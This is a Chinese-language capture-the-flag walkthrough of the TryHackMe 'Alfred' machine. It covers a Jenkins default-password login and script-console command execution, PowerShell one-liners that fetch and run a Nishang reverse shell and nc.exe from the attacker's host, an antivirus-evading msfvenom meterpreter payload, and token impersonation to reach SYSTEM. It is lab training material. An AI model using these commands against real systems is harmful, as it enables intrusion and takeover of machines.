THM-Alfred(阿尔弗雷德)
这台靶机不支持ping
,可以使用ping 10.10.10.10
来查看openvpn
的连通性
侦查
使用Nmap
扫描目标端口开放信息
由于
Nmap
默认会进行ping
的存活扫描,如果存活扫描失败,他会停止对目标的端口扫描,这对于我们来说是不理想的
使用-Pn
不对目标进行存活扫描
nmap -sV -n -F -Pn 10.10.254.77
开放了80、3389、8080
端口
访问80
端口并没有发现什么有用信息
8080
端口也开放这http
服务,尝试访问
是一个登录页面,弱密码admin:admin
直接登录成功
英文看不懂,使用Google chrome
浏览器访问自动翻译
看懂了,花了一些时间,找到了一个命令执行的页面
但是试了一下感觉不对您,有点悬,尝试换其他的地方进行测试
经过一个一个点击,找到了脚本控制台(Script Console)
,可以进行命令执行,进入路径为
提示我们可以使用println "uname -a".execute().text
执行uname -a
命令
尝试执行whoami
执行成功
获得初始访问权限
这是我们找到了命令执行的地方,尝试反弹shell
尝试上传一个后门脚本,可以是nc.exe
也可以是其他的后门工具,这里我们将静态二进制文件nc.exe
进行上传
思路:
- 我们需要在本机搭建一个Web服务,然后命令执行使目标下载我们的
nc.exe
- 使用
nc.exe
反弹shell
操作:
首先在本机下载静态二进制文件nc.exe
,并共享该文件
在目标机器下载共享的nc.exe
文件
这里使用powershell
下载nc.exe
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/ nc.exe');nc.exe your-ip your-port -e cmd.exe
执行后发现成功下载了nc.exe
,并没有弹回shell
应该是语法的问题,在本机测试也没有执行成功,这里按照教程上的使用Nishang
后门进行利用
后门脚本下载地址https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port
执行
成功回弹shell
切换外壳(shell)
为了我们操作更方便,将shell
切换为功能更方便的meterpreter
使用 msfvenom 使用以下有效负载创建一个 windows meterpreter 反向 shell
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
在本机开启meterpreter
监听
此有效负载生成编码的 x86-64 反向 tcp meterpreter 有效负载。有效载荷通常被编码以确保它们被正确传输,并且还可以逃避反病毒产品。防病毒产品可能无法识别有效载荷,也不会将其标记为恶意
然后再使用同样的方法在靶机下载我们的payload
这次我们使用该方法下载
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"
成功下载Junglezt.exe
,运行即可获取meterpreter shell
运行Junglezt.exe
,可以使用.\Junglezt
也可以使用Start-Process "Junglezt.exe"
特权升级
现在我们有了初始访问权限,让我们使用令牌模拟来获得系统访问权限。
Windows 使用令牌来确保帐户具有执行特定操作的正确权限。当用户登录或通过身份验证时,帐户令牌将分配给帐户。这通常由 LSASS.exe 完成(将其视为身份验证过程)。
此访问令牌包括:
- 用户 SID(安全标识符)
- 组 SID
- 特权
有两种类型的访问令牌:
- 主要访问令牌:与登录时生成的用户帐户关联的令牌
- 模拟令牌:这些允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源
对于模拟令牌,有不同的级别:
- SecurityAnonymous:当前用户/客户端不能模拟另一个用户/客户端
- SecurityIdentification:当前用户/客户端可以获得客户端的身份和权限,但不能冒充客户端
- SecurityImpersonation:当前用户/客户端可以在本地系统上模拟客户端的安全上下文
- SecurityDelegation:当前用户/客户端可以在远程系统上模拟客户端的安全上下文
其中安全上下文是一个包含用户相关安全信息的数据结构。
帐户的权限(创建时授予帐户或从组继承)允许用户执行特定操作。以下是最常被滥用的特权:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
使用whomia /priv
可以查看当前用户的特殊权限
可以发现我们拥有SeDebugPrivilege、SeImpersonatePrivilege特殊权限
让我们使用允许我们利用此漏洞的incognito模块,执行load incognito
加载该模块,如果该命令不可用,可以使用use incognito
执行该操作
使用help
可以查看incognito模块的帮助
使用list_tokens -g
查看可以伪装的令牌,其中BUILTIN\Administrators
可以使用
使用impersonate_token "BUILTIN\Administrators"
切换到该用户的令牌,并使用getuid
查看当前权限
即使您拥有更高特权的令牌,您实际上可能没有特权用户的权限(这是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会)。但是我们可以把进程迁移到拥有正确权限的进程
最安全的进程是 services.exe 进程。先用ps
命令查看进程,找到services.exe进程的PID。使用命令migrate PID-OF-PROCESS
迁移到这个进程
现在我们就拥有了真正的NT AUTHORITY\SYSTEM
权限
读取 C:\Windows\System32\config 中的 root.txt
文件
注意:C:\Windows\System32\config\目录是Windows中存放密码的SAM文件和SYSTEM文件的位置,是一个很重要的目录